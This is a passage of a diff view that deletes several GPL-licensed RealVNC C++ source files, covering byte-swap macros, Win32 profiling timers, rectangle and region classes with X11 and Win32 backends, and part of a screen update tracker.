#define DISPLAY_TO_PORT(d) ( (d) + RFB_PORT_OFFSET )
// include the protocol spec
#include <rfb/rfbproto.h>
// define some quick endian conversions
// change this if necessary
#define LITTLE_ENDIAN_HOST
#ifdef LITTLE_ENDIAN_HOST
#define Swap16IfLE(s) \
((CARD16) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)))
#define Swap32IfLE(l) \
((CARD32) ((((l) & 0xff000000) >> 24) | \
(((l) & 0x00ff0000) >> 8) | \
(((l) & 0x0000ff00) << 8) | \
(((l) & 0x000000ff) << 24)))
#else
#define Swap16IfLE(s) (s)
#define Swap32IfLE(l) (l)
#endif
// unconditional swaps
#define Swap16(s) \
((CARD16) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)))
#define Swap32(l) \
((CARD32) ((((l) & 0xff000000) >> 24) | \
(((l) & 0x00ff0000) >> 8) | \
(((l) & 0x0000ff00) << 8) | \
(((l) & 0x000000ff) << 24)))
#endif

View File

@ -1,120 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
#ifndef __RFB_MISC_INCLUDED__
#define __RFB_MISC_INCLUDED__
// Some platforms (e.g. Windows) include max() and min() functions
// in their standard headers.
// These macros are pdefined only when standard equivalents cannot
// be found.
#ifndef max
#define max(a,b) (((a) > (b)) ? (a) : (b))
#endif
#ifndef min
#define min(a,b) (((a) < (b)) ? (a) : (b))
#endif
#ifdef WIN32
// WIN32-ONLY PROFILING CODE
//
// CpuTime and CpuTimer provide a simple way to profile particular
// sections of code
//
// Use one CpuTime object per task to be profiled. CpuTime instances
// maintain a cumulative total of time spent in user and kernel space
// by threads.
// When a CpuTime object is created, a label must be specified to
// identify the task being profiled.
// When the object is destroyed, it will print debugging information
// containing the user and kernel times accumulated.
//
// Place a CpuTimer object in each section of code which is to be
// profiled. When the object is created, it snapshots the current
// kernel and user times and stores them. These are used when the
// object is destroyed to establish how much time has elapsed in the
// intervening period. The accumulated time is then added to the
// associated CpuTime object.
//
// This code works only on platforms providing __int64
namespace rfb {
class CpuTime {
public:
CpuTime(const char *name)
: timer_name(strdup(name)),
kernel_time(0), user_time(0), max_user_time(0), iterations(0) {}
~CpuTime() {
//vnclog.Print(0, "timer %s : %I64ums (krnl), %I64ums (user), %I64uus (user-max) (%I64u its)\n",
// timer_name, kernel_time/10000, user_time/10000, max_user_time/10,
// iterations);
delete [] timer_name;
}
char* timer_name;
__int64 kernel_time;
__int64 user_time;
__int64 iterations;
__int64 max_user_time;
};
class CpuTimer {
public:
inline CpuTimer(CpuTime &ct) : cputime(ct) {
FILETIME create_time, end_time;
if (!GetThreadTimes(GetCurrentThread(),
&create_time, &end_time,
(LPFILETIME)&start_kernel_time,
(LPFILETIME)&start_user_time)) {
abort();
}
}
inline ~CpuTimer() {
FILETIME create_time, end_time;
__int64 end_kernel_time, end_user_time;
if (!GetThreadTimes(GetCurrentThread(),
&create_time, &end_time,
(LPFILETIME)&end_kernel_time,
(LPFILETIME)&end_user_time)) {
abort();
}
cputime.kernel_time += end_kernel_time - start_kernel_time;
cputime.user_time += end_user_time - start_user_time;
if (end_user_time - start_user_time > cputime.max_user_time) {
cputime.max_user_time = end_user_time - start_user_time;
}
cputime.iterations++;
}
private:
CpuTime& cputime;
__int64 start_kernel_time;
__int64 start_user_time;
};
};
#endif
#endif // __RFB_MISC_INCLUDED__

View File

@ -1,115 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// rfb::Rect and rfb::Point structures
#ifndef __RFB_RECT_INCLUDED__
#define __RFB_RECT_INCLUDED__
#ifdef WIN32
#include <windows.h>
#endif
#include "rfbMisc.h"
#include <vector>
namespace rfb {
// rfb::Point
//
// Represents a point in 2D space, by X and Y coordinates.
// Can also be used to represent a delta, or offset, between
// two Points.
// Functions are provided to allow Points to be compared for
// equality and translated by a supplied offset.
// Functions are also provided to negate offset Points.
struct Point {
Point() : x(0), y(0) {}
Point(int x_, int y_) : x(x_), y(y_) {}
#ifdef WIN32
Point(const POINT &p) : x(p.x), y(p.y) {}
#endif
Point negate() const {return Point(-x, -y);}
bool equals(const Point &p) const {return x==p.x && y==p.y;}
Point translate(const Point &p) const {return Point(x+p.x, y+p.y);}
int x, y;
};
// rfb::Rect
//
// Represents a rectangular region defined by its top-left (tl)
// and bottom-right (br) Points.
// Rects may be compared for equality, checked to determine whether
// or not they are empty, cleared (made empty), or intersected with
// one another. The bounding rectangle of two existing Rects
// may be calculated, as may the area of a Rect.
// Rects may also be translated, in the same way as Points, by
// an offset specified in a Point structure.
struct Rect {
Rect() {}
Rect(Point tl_, Point br_) : tl(tl_), br(br_) {}
Rect(int x1, int y1, int x2, int y2) : tl(x1, y1), br(x2, y2) {}
#ifdef WIN32
Rect(const RECT &r) : tl(r.left, r.top), br(r.right, r.bottom) {}
#endif
Rect intersect(const Rect &r) const {
Rect result;
result.tl.x = max(tl.x, r.tl.x);
result.tl.y = max(tl.y, r.tl.y);
result.br.x = min(br.x, r.br.x);
result.br.y = min(br.y, r.br.y);
return result;
}
Rect union_boundary(const Rect &r) const {
Rect result;
result.tl.x = min(tl.x, r.tl.x);
result.tl.y = min(tl.y, r.tl.y);
result.br.x = max(br.x, r.br.x);
result.br.y = max(br.y, r.br.y);
return result;
}
Rect translate(const Point &p) const {
return Rect(tl.translate(p), br.translate(p));
}
bool equals(const Rect &r) const {return r.tl.equals(tl) && r.br.equals(br);}
bool is_empty() const {return (tl.x >= br.x) || (tl.y >= br.y);}
void clear() {tl = Point(); br = Point();}
bool enclosed_by(const Rect &r) const {
return (tl.x>=r.tl.x) && (tl.y>=r.tl.y) && (br.x<=r.br.x) && (br.y<=r.br.y);
}
unsigned int area() const {return is_empty() ? 0 : width()*height();}
inline int width() const {return br.x-tl.x;}
inline int height() const {return br.y-tl.y;}
Point tl;
Point br;
};
// rfb::RectVector
//
// An STL vector containing Rects.
typedef std::vector<Rect> RectVector;
};
#endif // __RFB_RECT_INCLUDED__

View File

@ -1,132 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
#define USE_X11_REGIONS
#ifdef USE_X11_REGIONS
#include "rfbRegion_X11.h"
#else
#ifdef WIN32
#include "rfbRegion_win32.h"
#else
#error "using custom region code"
// rfb::Region and rfb::Region2D classes
#ifndef __RFB_REGION_INCLUDED__
#define __RFB_REGION_INCLUDED__
#include "rfbRect.h"
#include <vector>
namespace rfb {
struct Span;
// rfb::Region
//
// The Region class is used to represent N-dimensional
// regions.
// Each Region is a one-dimensional collection of
// non-overlapping Spans. Each span may itself contain
// a child Region, thus allowing multi-dimensional
// regions to be expressed.
//
// Regions may be infinite, empty or non-empty.
class Region {
public:
Region(bool infinite_=false);
Region(int start, int end, const Region &sub);
Region intersect(const Region &src) const {
Region tmp; do_intersect(tmp, src); return tmp;
}
Region union_(const Region &src) const {
Region tmp; do_union_(tmp, src); return tmp;
}
Region subtract(const Region &src) const {
Region tmp; do_subtract(tmp, src); return tmp;
}
void translate(const int offset);
void reset(int start, int end, const Region &subspans);
void clear();
bool equals(const Region &b) const;
bool is_empty() const {return spans.empty() && !infinite;};
bool is_infinite() const {return infinite;};
const std::vector<Span> &get_spans() const {return spans;};
Span get_extent() const;
void debug_print(const char *prefix) const;
protected:
void do_intersect(Region &dest, const Region &src) const;
void do_union_(Region &dest, const Region &src) const;
void do_subtract(Region &dest, const Region &src) const;
protected:
bool infinite;
std::vector<Span> spans;
};
class Region2D : public Region {
public:
Region2D();
Region2D(int x1, int y1, int x2, int y2);
Region2D(const Rect &r);
Region2D intersect(const Region2D &src) const {
Region2D tmp; do_intersect(tmp, src); return tmp;
}
Region2D union_(const Region2D &src) const {
Region2D tmp; do_union_(tmp, src); return tmp;
}
Region2D subtract(const Region2D &src) const {
Region2D tmp; do_subtract(tmp, src); return tmp;
}
void reset(int x1, int y1, int x2, int y2);
void translate(const rfb::Point &p);
bool get_rects(rfb::RectVector &rects, bool left2right, bool topdown) const;
Rect get_bounding_rect() const;
};
struct Span {
Span() : start(0), end(0) {};
Span(int start, int end, const Region &r);
bool equals(const Span &b) const;
void append_to(std::vector<Span> &spans) const;
int start;
int end;
Region subspans;
};
typedef std::vector<Span> SpanVector;
};
#endif // __RFB_REGION_INCLUDED__
#endif // WIN32
#endif // X11

View File

@ -1,206 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// Cross-platform Region class based on the X11 region implementation
#include "stdhdrs.h"
#include "rfbRegion_X11.h"
#include <Xregion/region.h>
#include <assert.h>
using namespace rfb;
class _RectRegion {
public:
_RectRegion() {
region.rects = 0;
region.numRects = 0;
region.size = 0;
}
_RectRegion(const Rect& r) {
region.rects = &region.extents;
region.numRects = 1;
region.extents.x1 = r.tl.x;
region.extents.y1 = r.tl.y;
region.extents.x2 = r.br.x;
region.extents.y2 = r.br.y;
region.size = 1;
if (r.is_empty())
region.numRects = 0;
}
REGION region;
};
Region::Region() {
Xrgn = XCreateRegion();
assert(Xrgn);
}
Region::Region(int x1, int y1, int x2, int y2) {
Xrgn = XCreateRegion();
assert(Xrgn);
reset(Rect(x1, y1, x2, y2));
}
Region::Region(const Rect& r) {
Xrgn = XCreateRegion();
assert(Xrgn);
reset(r);
}
Region::Region(const Region& r) {
_RectRegion tmp;
Xrgn = XCreateRegion();
assert(Xrgn);
XUnionRegion(&tmp.region, r.Xrgn, Xrgn);
}
Region::~Region() {
XDestroyRegion(Xrgn);
}
rfb::Region& Region::operator=(const Region& r) {
_RectRegion tmp;
clear();
XUnionRegion(&tmp.region, r.Xrgn, Xrgn);
return *this;
}
void Region::clear() {
EMPTY_REGION(Xrgn);
}
void Region::reset(const Rect& r) {
clear();
XRectangle xrect;
xrect.x = r.tl.x;
xrect.y = r.tl.y;
xrect.width = r.width();
xrect.height = r.height();
XUnionRectWithRegion(&xrect, Xrgn, Xrgn);
}
void Region::translate(const Point& delta) {
XOffsetRegion(Xrgn, delta.x, delta.y);
}
void Region::setOrderedRects(const std::vector<Rect>& rects) {
std::vector<Rect>::const_iterator i;
for (i=rects.begin(); i != rects.end(); i++) {
_RectRegion rr(*i);
XUnionRegion(&rr.region, Xrgn, Xrgn);
}
}
void Region::assign_intersect(const Region& r) {
XIntersectRegion(r.Xrgn, Xrgn, Xrgn);
}
void Region::assign_union(const Region& r) {
XUnionRegion(r.Xrgn, Xrgn, Xrgn);
}
void Region::assign_subtract(const Region& r) {
XSubtractRegion(Xrgn, r.Xrgn, Xrgn);
}
rfb::Region Region::intersect(const Region& r) const {
Region t = *this;
t.assign_intersect(r);
return t;
}
rfb::Region Region::union_(const Region& r) const {
Region t = *this;
t.assign_union(r);
return t;
}
rfb::Region Region::subtract(const Region& r) const {
Region t = *this;
t.assign_subtract(r);
return t;
}
bool Region::equals(const Region& b) const {
return XEqualRegion(Xrgn, b.Xrgn);
}
bool Region::is_empty() const {
return XEmptyRegion(Xrgn);
}
bool Region::get_rects(std::vector<Rect>& rects,
bool left2right,
bool topdown) const {
BOX* Xrects = Xrgn->rects;
int nRects = Xrgn->numRects;
int xInc = left2right ? 1 : -1;
int yInc = topdown ? 1 : -1;
int i = topdown ? 0 : nRects-1;
while (nRects > 0) {
int firstInNextBand = i;
int nRectsInBand = 0;
while (nRects > 0 && Xrects[firstInNextBand].y1 == Xrects[i].y1) {
firstInNextBand += yInc;
nRects--;
nRectsInBand++;
}
if (xInc != yInc)
i = firstInNextBand - yInc;
while (nRectsInBand > 0) {
Rect r(Xrects[i].x1, Xrects[i].y1,
Xrects[i].x2, Xrects[i].y2);
rects.push_back(r);
i += xInc;
nRectsInBand--;
}
i = firstInNextBand;
}
return !rects.empty();
}
rfb::Rect Region::get_bounding_rect() const {
XRectangle r;
XClipBox(Xrgn, &r);
return Rect(r.x, r.y, r.x+r.width, r.y+r.height);
}
XRegion Region::replaceXrgn(XRegion newrgn) {
XRegion tmp = Xrgn;
Xrgn = newrgn;
return tmp;
}

View File

@ -1,86 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// Cross-platform Region class based on the X11 region implementation
#ifndef __RFB_REGION_X11_INCLUDED__
#define __RFB_REGION_X11_INCLUDED__
#include "rfbRect.h"
#include <Xregion/Xregion.h>
#include <vector>
namespace rfb {
// rfb::Region
// See Region.h for description of interface.
class Region {
public:
// Create an empty region
Region();
// Create a rectangular region
Region(int x1, int y1, int x2, int y2);
Region(const Rect& r);
Region(const Region& r);
Region &operator=(const Region& src);
~Region();
// the following methods alter the region in place:
void clear();
void reset(const Rect& r);
void translate(const rfb::Point& delta);
void setOrderedRects(const std::vector<Rect>& rects);
void assign_intersect(const Region& r);
void assign_union(const Region& r);
void assign_subtract(const Region& r);
// the following three operations return a new region:
Region intersect(const Region& r) const;
Region union_(const Region& r) const;
Region subtract(const Region& r) const;
bool equals(const Region& b) const;
bool is_empty() const;
bool get_rects(std::vector<Rect>& rects, bool left2right=true,
bool topdown=true) const;
Rect get_bounding_rect() const;
void debug_print(const char *prefix) const;
protected:
Region(struct _XRegion* rgn);
struct _XRegion* replaceXrgn(struct _XRegion* newrgn);
struct _XRegion* Xrgn;
};
typedef Region Region2D;
};
#endif // __RFB_REGION_X11_INCLUDED__

View File

@ -1,308 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// -=- rfbRegion_win32.cpp
// Win32 implementation of the rfb::Region2D class
#include <assert.h>
#include "stdhdrs.h"
#include "rfbRegion_win32.h"
#include <omnithread.h>
// ***
#include <set>
std::set<HRGN> regions;
using namespace rfb;
static omni_mutex region_lock;
static int maxrgnrects = 0;
static void abortRgnCode(DWORD error=0) {
omni_mutex_lock l(region_lock);
int numregions = regions.size();
int maxregionsize = maxrgnrects;
int err = error;
std::set<HRGN>::const_iterator i;
int rgnbufsize = 0;
for (i=regions.begin(); i!=regions.end(); i++) {
rgnbufsize += GetRegionData(*i, 0, NULL);
}
abort();
}
static void assertValidRegion(HRGN hRgn) {
omni_mutex_lock l(region_lock);
RECT r;
DWORD buffsize = GetRegionData(hRgn, 0, NULL);
if (buffsize == 0) abortRgnCode();
maxrgnrects = max(maxrgnrects, (buffsize-sizeof(RGNDATAHEADER))/sizeof(RECT));
}
Region2D::Region2D() {
omni_mutex_lock l(region_lock);
hRgn = CreateRectRgn(0, 0, 0, 0);
assertValidRegion(hRgn);
// ***
regions.insert(hRgn);
}
Region2D::Region2D(int x1, int y1, int x2, int y2) {
omni_mutex_lock l(region_lock);
hRgn = CreateRectRgn(x1, y1, x2, y2);
assertValidRegion(hRgn);
// ***
regions.insert(hRgn);
}
Region2D::Region2D(const Rect &r) {
omni_mutex_lock l(region_lock);
hRgn = CreateRectRgn(r.tl.x, r.tl.y, r.br.x, r.br.y);
assertValidRegion(hRgn);
// ***
regions.insert(hRgn);
}
Region2D::Region2D(const Region2D &r) {
omni_mutex_lock l(region_lock);
hRgn = CreateRectRgn(0, 0, 1, 1);
assertValidRegion(hRgn);
if (CombineRgn(hRgn, r.hRgn, NULL, RGN_COPY) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
assertValidRegion(r.hRgn);
// ***
regions.insert(hRgn);
}
Region2D::~Region2D() {
omni_mutex_lock l(region_lock);
// ***
regions.erase(hRgn);
assertValidRegion(hRgn);
if (!DeleteObject(hRgn))
abortRgnCode(GetLastError());
hRgn = 0;
}
Region2D& Region2D::operator=(const Region2D &src) {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn); assertValidRegion(src.hRgn);
if (CombineRgn(hRgn, src.hRgn, NULL, RGN_COPY) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(hRgn); assertValidRegion(src.hRgn);
return *this;
}
Region2D Region2D::intersect(const Region2D &src) const {
// *** omni_mutex_lock l(region_lock);
Region2D result;
assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn);
if (CombineRgn(result.hRgn, src.hRgn, hRgn, RGN_AND) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(result.hRgn); assertValidRegion(src.hRgn); assertValidRegion(hRgn);
return result;
}
Region2D Region2D::union_(const Region2D &src) const {
// *** omni_mutex_lock l(region_lock);
Region2D result;
assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn);
if (CombineRgn(result.hRgn, src.hRgn, hRgn, RGN_OR) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(result.hRgn); assertValidRegion(src.hRgn); assertValidRegion(hRgn);
return result;
}
Region2D Region2D::subtract(const Region2D &src) const {
// *** omni_mutex_lock l(region_lock);
Region2D result;
assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn);
if (CombineRgn(result.hRgn, hRgn, src.hRgn, RGN_DIFF) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(result.hRgn); assertValidRegion(hRgn); assertValidRegion(src.hRgn);
return result;
}
void Region2D::reset(int x1, int y1, int x2, int y2) {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn);
if (!SetRectRgn(hRgn, x1, y1, x2, y2))
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
}
void Region2D::translate(const rfb::Point &p) {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn);
if (OffsetRgn(hRgn, p.x, p.y) == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
}
bool Region2D::get_rects(RectVector &rects, bool left2right, bool topdown) const {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn);
DWORD buffsize = GetRegionData(hRgn, 0, NULL);
if (!buffsize)
abortRgnCode(GetLastError());
assert(hRgn);
if (is_empty())
return false;
unsigned char*buffer = new unsigned char[buffsize];
assert(buffer);
if (GetRegionData(hRgn, buffsize, (LPRGNDATA)buffer) != buffsize)
abortRgnCode(GetLastError());
LPRGNDATA region_data = (LPRGNDATA)buffer;
DWORD nCount = region_data->rdh.nCount;
if (topdown) {
long current_y = INT_MIN;
long start_i=0, end_i=-1;
rects.reserve(nCount);
for (long i=0; i<nCount; i++) {
Rect rect = ((RECT*)&region_data->Buffer[0])[i];
if (rect.tl.y == current_y) {
end_i = i;
} else {
if (left2right) {
for (long j=start_i; j<=end_i; j++) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
} else {
for (long j=end_i; j>=start_i; j--) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
}
start_i = i;
end_i = i;
current_y = rect.tl.y;
}
}
if (left2right) {
for (long j=start_i; j<=end_i; j++) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
} else {
for (long j=end_i; j>=start_i; j--) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
}
} else {
long current_y = INT_MIN;
long start_i=nCount, end_i=nCount-1;
rects.reserve(nCount);
for (long i=nCount-1; i>=0; i--) {
Rect rect = ((RECT*)&region_data->Buffer[0])[i];
if (rect.tl.y == current_y) {
start_i = i;
} else {
if (left2right) {
for (long j=start_i; j<=end_i; j++) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
} else {
for (long j=end_i; j>=start_i; j--) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
}
end_i = i;
start_i = i;
current_y = rect.tl.y;
}
}
if (left2right) {
for (long j=start_i; j<=end_i; j++) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
} else {
for (long j=end_i; j>=start_i; j--) {
Rect r = ((RECT*)&region_data->Buffer[0])[j];
rects.push_back(r);
}
}
}
delete [] buffer;
assert(!rects.empty());
assertValidRegion(hRgn);
return true;
}
Rect Region2D::get_bounding_rect() const {
// *** omni_mutex_lock l(region_lock);
RECT result;
assertValidRegion(hRgn);
if (!GetRgnBox(hRgn, &result))
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
return result;
}
void Region2D::clear() {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn);
if (!SetRectRgn(hRgn, 0, 0, 0, 0))
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
}
bool Region2D::equals(const Region2D &b) const {
// *** omni_mutex_lock l(region_lock);
assertValidRegion(hRgn); assertValidRegion(b.hRgn);
BOOL result = EqualRgn(b.hRgn, hRgn);
if (result == ERROR)
abortRgnCode(GetLastError());
assertValidRegion(hRgn); assertValidRegion(b.hRgn);
return result;
}
bool Region2D::is_empty() const {
// *** omni_mutex_lock l(region_lock);
RECT result;
assertValidRegion(hRgn);
int kind = GetRgnBox(hRgn, &result);
if (!kind)
abortRgnCode(GetLastError());
assertValidRegion(hRgn);
return kind == NULLREGION;
}

View File

@ -1,66 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// rfb::Region2D class for Win32
#ifndef __RFB_REGION_WIN32_INCLUDED__
#define __RFB_REGION_WIN32_INCLUDED__
#include "rfbRect.h"
#include <vector>
namespace rfb {
// rfb::Region2D
//
// See the rfbRegion.h header for documentation.
class Region2D {
public:
Region2D();
Region2D(int x1, int y1, int x2, int y2);
Region2D(const Rect &r);
Region2D(const Region2D &r);
~Region2D();
Region2D intersect(const Region2D &src) const;
Region2D union_(const Region2D &src) const;
Region2D subtract(const Region2D &src) const;
Region2D &operator=(const Region2D &src);
void reset(int x1, int y1, int x2, int y2);
void translate(const rfb::Point &p);
bool get_rects(rfb::RectVector &rects, bool left2right, bool topdown) const;
Rect get_bounding_rect() const;
void clear();
bool equals(const Region2D &b) const;
bool is_empty() const;
HRGN getHandle() const {return hRgn;};
private:
HRGN hRgn;
};
};
#endif __RFB_REGION_WIN32_INCLUDED__

View File

@ -1,193 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
// -=- rfbUpdateTracker.cpp
//
// Tracks updated regions and a region-copy event, too
//
#include "stdhdrs.h"
#include <assert.h>
#include "rfbUpdateTracker.h"
using namespace rfb;
// ClippedUpdateTracker
void ClippedUpdateTracker::add_changed(const Region2D &region) {
child.add_changed(region.intersect(cliprgn));
}
void ClippedUpdateTracker::add_copied(const Region2D &dest, const Point &delta) {
// Clip the destination to the display area
Region2D tmp = dest.intersect(cliprgn);
if (tmp.is_empty()) return;
// Clip the source to the screen
tmp.translate(delta.negate());
tmp = tmp.intersect(cliprgn);
if (!tmp.is_empty()) {
// Translate the source back to a destination region
tmp.translate(delta);
// Pass the copy region to the child tracker
child.add_copied(tmp, delta);
}
// And add any bits that we had to remove to the changed region
tmp = dest.subtract(tmp);
if (!tmp.is_empty()) {
child.add_changed(tmp);
}
}
// SimpleUpdateTracker
SimpleUpdateTracker::SimpleUpdateTracker(bool use_copyrect) {
copy_enabled = use_copyrect;
}
SimpleUpdateTracker::~SimpleUpdateTracker() {
}
void SimpleUpdateTracker::add_changed(const Region2D &region) {
changed = changed.union_(region);
}
void SimpleUpdateTracker::add_copied(const Region2D &dest, const Point &delta) {
// Do we support copyrect?
if (!copy_enabled) {
add_changed(dest);
return;
}
// Is there anything to do?
if (dest.is_empty()) return;
// Calculate whether any of this copy can be treated as a continuation
// of an earlier one
Region2D src = dest;
src.translate(delta.negate());
Region2D overlap = src.intersect(copied);
if (overlap.is_empty()) {
// There is no overlap
Rect newbr = dest.get_bounding_rect();
Rect oldbr = copied.get_bounding_rect();
if (oldbr.area() > newbr.area()) {
// Old copyrect is (probably) bigger - use it
changed = changed.union_(dest);
} else {
// New copyrect is probably bigger
Region2D invalid = src.intersect(changed);
invalid.translate(delta);
changed = changed.union_(invalid).union_(copied);
copied = dest.subtract(invalid);
copy_delta = delta;
/*
// Use the new one
// But be careful not to copy stuff that still needs
// to be updated.
Region2D invalid_src = src.intersect(changed);
invalid_src.translate(delta);
changed = changed.union_(invalid_src).union_(copied);
copied = dest;
copy_delta = delta;
*/
}
return;
}
Region2D valid = overlap.subtract(changed);
valid.translate(delta);
changed = changed.union_(copied).union_(dest).subtract(valid);
copied = valid;
copy_delta = copy_delta.translate(delta);
/*
Region2D invalid_src = overlap.intersect(changed);
invalid_src.translate(delta.negate());
changed = changed.union_(invalid_src);
overlap.translate(delta);
Region2D nonoverlapped_copied = dest.union_(copied).subtract(overlap);
changed = changed.union_(nonoverlapped_copied);
copied = overlap;
copy_delta = copy_delta.translate(delta);
*/
return;
}
void SimpleUpdateTracker::flush_update(UpdateInfo &info, const Region2D &cliprgn) {
copied = copied.subtract(changed);
// Ensure the UpdateInfo structure is empty
info.copied.clear();
info.changed.clear();
// Clip the changed region to the clip region
Region2D updatergn = changed.intersect(cliprgn);
changed = changed.subtract(updatergn);
// Clip the copyrect region to the display
